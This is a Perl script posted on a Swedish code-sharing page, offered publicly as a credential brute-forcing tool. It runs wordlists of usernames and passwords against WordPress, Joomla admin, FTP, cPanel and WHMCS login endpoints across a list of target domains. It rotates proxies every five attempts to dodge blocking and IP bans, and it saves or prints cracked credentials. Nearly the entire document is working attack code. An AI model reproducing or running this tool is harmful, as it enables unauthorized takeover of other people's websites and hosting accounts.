Brute WP-JOomla-FTP-SSH-WHMCS-cPanel + Proxy Loader

Skapad 3 år sedan, skriven i Perl, med 282 visningar.
URL http://kod.perl.se/view/2b0fa09b Bädda in
Ladda hem koden eller visa koden i råformatVisa bredare version
  1. #!/usr/bin/perl
  2. #Kuroy
  3. #facebook: www.facebook.com/pqpigor
  4. #Brute WP-JOomla-FTP-SSH-WHMCS-cPanel + Proxy Loader
  5. #[Beta] (Slow Speed) | it's not real version ;)
  6. #public ;)
  7.  
  8.  
  9. use Net::FTP;
  10. use LWP::UserAgent;
  11. use WWW::Mechanize;
  12. use MIME::Base64;
  13. if(@ARGV != 5)
  14. {
  15.         die(&useage."\n");
  16. }
  17.  
  18. $option = lc($ARGV[0]);
  19. $domainsListFile = $ARGV[1];
  20. $usrListFile = $ARGV[2];
  21. $passListFile = $ARGV[3];
  22. $prxyListFile = $ARGV[4];
  23.  
  24. ####Load Files###
  25. #get all users
  26. $/ = "\n";
  27. open(FP,"$usrListFile") || die("sry i can't open $usrListFile file.\n");
  28. @usrList = <FP>;
  29. chomp(@usrList);
  30. close(FP);
  31. #get all passwords
  32. open(FP,"$passListFile") || die("sry i can't open $passListFile file.\n");
  33. @passList = <FP>;
  34. chomp(@passList);
  35. close(FP);
  36. #get all proxies
  37. open(FP,"$prxyListFile") || die("sry i can't open $prxyListFile file.\n");
  38. @prxyList = <FP>;
  39. chomp(@prxyList);
  40. close(FP);
  41. #get all domains
  42. open(FP,"$domainsListFile") || die("sry i can't open $domainsListFile file.\n");
  43. @domainsList = <FP>;
  44. chomp(@domainsList);
  45. close(FP);
  46.  
  47. ####End OF Load Files###       
  48.  
  49. &check_option();
  50.  
  51.  
  52. #&check_option;
  53.  
  54.  
  55. sub useage
  56. {
  57.         print   "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n".
  58.             "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n".
  59.                 "useage : perl brute.pl option domainslist userlist passlist proxylist\n".
  60.                         "EX :perl brute.pl -wp targest.txt users.text passes.text proxies.text\n".
  61.             "-----------------------------------------------------------------\n".
  62.             "-----------------------------------------------------------------\n".
  63.                         "Options  \n".
  64.                         "\tWordPress [-wp]\n".
  65.                         "\tJoomla [-joom]\n".
  66.                         "\tFTP [-ftp]\n".
  67.                         "\tSSH [-ssh]\n".
  68.                         #"\tSMTP [-smtp]\n".
  69.                         "\tWHMCS [-whm]\n".
  70.                         "\tCpanel [-cp]\n";
  71. }
  72.  
  73. sub check_option
  74. {
  75.         if($option eq "-wp")
  76.         {
  77.                 &brute_wp();
  78.         }elsif($option eq "-joom")
  79.         {
  80.                 &brute_joomla();
  81.         }elsif($option eq "-ftp")
  82.         {
  83.                 &brute_ftp();
  84.         }elsif($option eq "-ssh")
  85.         {
  86.                 print "ssh\n";
  87.         }elsif($option eq "-smtp")
  88.         {
  89.                 print "smtp\n";
  90.         }elsif($option eq "-whm")
  91.         {
  92.                 &brute_whmcs();
  93.         }elsif($option eq "-cp")
  94.         {
  95.                 &brute_cpanel();
  96.         }else
  97.         {
  98.                 die(&useage."\n");
  99.         }
  100.  
  101. }
  102.  
  103. sub brute_ftp
  104. {
  105.        
  106.  
  107.         foreach $domain(@domainsList)
  108.         {
  109.                 my $host = $domainsList[0];
  110.                
  111.                 my $counter = 0 ; #proxy should be change
  112.                 my $firewall = $prxyList[0];
  113.        
  114.                 #connect to ftp server
  115.                 my $ftp = Net::FTP->new($host,Firewall => $firewall, Passive => 1) || die ("can't connect $! \n");
  116.                 #load all usernames
  117.                 foreach $user(@usrList)
  118.                 {
  119.                         #load all passwords
  120.                         foreach $pass(@passList)
  121.                         {
  122.                                 $ftp->pasv();
  123.                                 ++$counter;      
  124.                                 syswrite STDOUT,"Check $user:$pass\n";
  125.                                         #check counter
  126.                                         if($counter % 5 == 0 || !$ftp)
  127.                                         {
  128.                                            shift(@prxyList);
  129.                                            $firewall = $prxyList[0];
  130.                                            $ftp = Net::FTP->new($host,Firewall => $firewall,Passive => 1) || die ("can't connect $! \n");
  131.                                            syswrite STDOUT,"#Proxy change to $firewall \n";
  132.                                            
  133.                                         }
  134.                                         #check login
  135.                         if($ftp->login($user,$pass))
  136.                                         {
  137.                                             print "hahaha Cracked ;)) > $user:$pass\n";
  138.                                             open(FP,">Ftp-Cracked-$host.txt") || die("sry i can't to write to Ftp-Cracked-$host.txt\n");
  139.                                                 print FP "$user:$pass\n";
  140.                                                 close(FP);
  141.                                                 $ftp->quit || die "Error closing ftp connection .\n";
  142.                                                 goto(ENDPROG);
  143.                                         }              
  144.                                        
  145.                        
  146.        
  147.                              
  148.                         }
  149.        
  150.                 }
  151.                 ENDPROG : print "Finished.\n";
  152.  
  153.         }
  154.        
  155.  
  156.        
  157. }
  158.  
  159.  
  160.  
  161. sub brute_wp
  162. {
  163.        
  164.  
  165.     #include admin path and check http
  166.     foreach $domain(@domainsList)
  167.     {
  168.         $domain .= "/wp-login.php";
  169.         $domain = "http://".$domain if ($domain !~ /^http:\/\//);
  170.         $counter = 0 ;
  171.         syswrite STDOUT,">Domain : $domain\n";
  172.            
  173.         #load all usernames
  174.         foreach $user(@usrList)
  175.         {
  176.                 #load all passworsd
  177.                 foreach $pass(@passList)
  178.                 {
  179.                        
  180.                         #remover first element of proxy list if counter % 5 is true
  181.                         shift(@prxyList) if ($counter % 5 == 0);
  182.                         $proxy = $prxyList[0];
  183.                         #load proxy
  184.                         $proxy = "http://".$proxy if($prxyList[0] !~ /^http:\/\//);
  185.                         my $resp = WWW::Mechanize->new();
  186.                         $resp->proxy(['http'],$proxy);
  187.                         $resp->get($domain);
  188.  
  189.                         $resp->submit_form(
  190.                             fields => {
  191.                        
  192.                                         'log' => $user,
  193.                                         'pwd' => $pass,
  194.                                         'wp-submit' => 'Log in',
  195.                                        
  196.                             }
  197.                         );
  198.                      
  199.                         if($resp->content() =~ /logout/i){
  200.                             print "hahaha Cracked ;)) > \n";
  201.                             goto(EXT);
  202.                         }
  203.  
  204.  
  205.                         ++$counter;
  206.               }
  207.         }
  208.         EXT : print "Finished .";
  209.        
  210.        
  211.  
  212.        
  213.     }
  214.    
  215.  
  216.    
  217. }
  218.  
  219. sub brute_joomla
  220. {
  221.         foreach $domain(@domainsList)
  222.         {
  223.                 #include admin path and check http
  224.                 $domain .= "/administrator/index.php";
  225.                 $domain = "http://".$domain if ($domain !~ /^http:\/\//);
  226.                 $counter = 0 ;
  227.             #load all usernames    
  228.             foreach $user(@usrList)
  229.             {
  230.                     #load all passworsd
  231.                     foreach $pass(@passList)
  232.                     {
  233.                             #remover first element of proxy list if counter % 5 is true
  234.                             shift(@prxyList) if ($counter % 5 == 0);
  235.                             $proxy = $prxyList[0];
  236.                             #load proxy
  237.                             $proxy = "http://".$proxy if($prxyList[0] !~ /^http:\/\//);
  238.                             my $resp = WWW::Mechanize->new();
  239.                             $resp->proxy(['http'],$proxy);
  240.                             $resp->get($domain);
  241.                             #get security token for login
  242.                             if($resp->content() =~ /([0-9a-fA-F]{32})/){
  243.                                 $secTok = $1;
  244.                             } else {
  245.                                 die("cant get security token.\n");
  246.                             }
  247.                             $resp->submit_form(
  248.                                 fields => {
  249.                                     username => $user,
  250.                                     passwd  => $pass,
  251.                                     task  => 'login',
  252.                                     $secTok  => '1',
  253.                                 }
  254.                             );
  255.                          
  256.                             if($resp->content() =~ /logout/i){
  257.                                 print "hahaha Cracked ;)) > $user:$pass\n";
  258.                                 goto(EXT);
  259.                             }
  260.                             ++$counter;
  261.                     }
  262.             }
  263.            
  264.             EXT : print "Finished.\n"; 
  265.  
  266.         }
  267.        
  268.  
  269. }
  270.  
  271.  
  272.  
  273. sub brute_cpanel
  274. {
  275.         foreach $domain(@domainsList)
  276.         {
  277.                 #get host ip
  278.                 $domain =~ s/^http:\/\///;
  279.                 $ip = gethostbyname($domain);
  280.                 $proto = getprotobyname("tcp");
  281.                 $port = 2082;
  282.                 $packAddr = pack("Sna4x8",2,$port,$ip);
  283.                 $counter = 0 ;
  284.                 #load all usernames    
  285.                 foreach $user(@usrList)
  286.                 {
  287.                         #load all passworsd
  288.                         foreach $pass(@passList)
  289.                         {
  290.        
  291.                                 $data = encode_base64("$user:$pass");
  292.                                 $header = "GET / HTTP/1.1\n" .
  293.                                           "Authorization: Basic $data\n".
  294.                                           "Connection: Close\n\n";
  295.                                 socket(TCP_SOCK,2,1,$proto);
  296.                                 connect(TCP_SOCK,$packAddr);
  297.                                 send(TCP_SOCK,"$header", 0);
  298.                                 recv(TCP_SOCK,$result,20,0);
  299.                                 if($result =~ /301/)
  300.                                 {
  301.                                     print "hahaha Cracked ;)) > \n";
  302.                                     goto(EXT);
  303.                                 }
  304.        
  305.                         }
  306.                 }
  307.                
  308.                 EXT : print "Finished.\n";
  309.                        
  310.                
  311.         }
  312.        
  313.  
  314. }
  315.  
  316.  
  317. sub brute_whmcs
  318. {
  319.         foreach $domain(@domainsList)
  320.         {
  321.  
  322.                 $domain =~ s/^http:\/\///;     
  323.                 $ip = gethostbyname($domain);
  324.                 $proto = getprotobyname("tcp");
  325.                 $port = 80;
  326.                 $packAddr = pack("Sna4x8",2,$port,$ip);
  327.                 foreach $user(@usrList)
  328.                 {
  329.                         #load all passworsd
  330.                         foreach $pass(@passList)
  331.                         {
  332.                                 syswrite STDOUT,"Check $user:$pass\n";
  333.                                 $data = "username=$user&password=$pass&language=";
  334.                                 $dataLen = length($data);
  335.                                 $header = "POST /admin/dologin.php HTTP/1.1\r\n".
  336.                                 "Host: $domain\r\n".
  337.                                 "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n".
  338.                                 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
  339.                                 "Referer: http://$domain/admin/login.php\r\n".
  340.                                 "Content-Type: application/x-www-form-urlencoded\r\n".
  341.                                 "Content-Length: $dataLen\r\n\r\n".
  342.                                 "$data\r\n";
  343.                                 #"Connection: close\r\n\r\n";
  344.                                 socket(TCP_SOCK,2,1,$proto);
  345.                                 #bind(TCP_SOCK,$packCAddr) || die ("cant bind $!\n");
  346.                                 connect(TCP_SOCK,$packAddr);
  347.                                 send(TCP_SOCK,"$header", 0);
  348.                                 recv(TCP_SOCK,$result,10240,0);
  349.                                
  350.                                 print $result;
  351.                                 if($result =~ /Location: index\.php/)
  352.                                 {
  353.                                     print "hahaha Cracked ;)) > \n";
  354.                                     goto(EXT);
  355.                                 }elsif($result =~ /Location: http:\/\/demo\.whmcs\.com\/banned\.php\//)
  356.                                
  357.                                 {
  358.                                     print "Ip Banned .\n";
  359.                                 }
  360.                         }
  361.                 }
  362.                
  363.                 EXT : print "Finished.\n";
  364.  
  365.         }
  366.        
  367.  
  368.  
  369. }

Svara på "Brute WP-JOomla-FTP-SSH-WHMCS-cPanel + Proxy Loader"

Här kan du skriva ett svar till kodsnutten ovan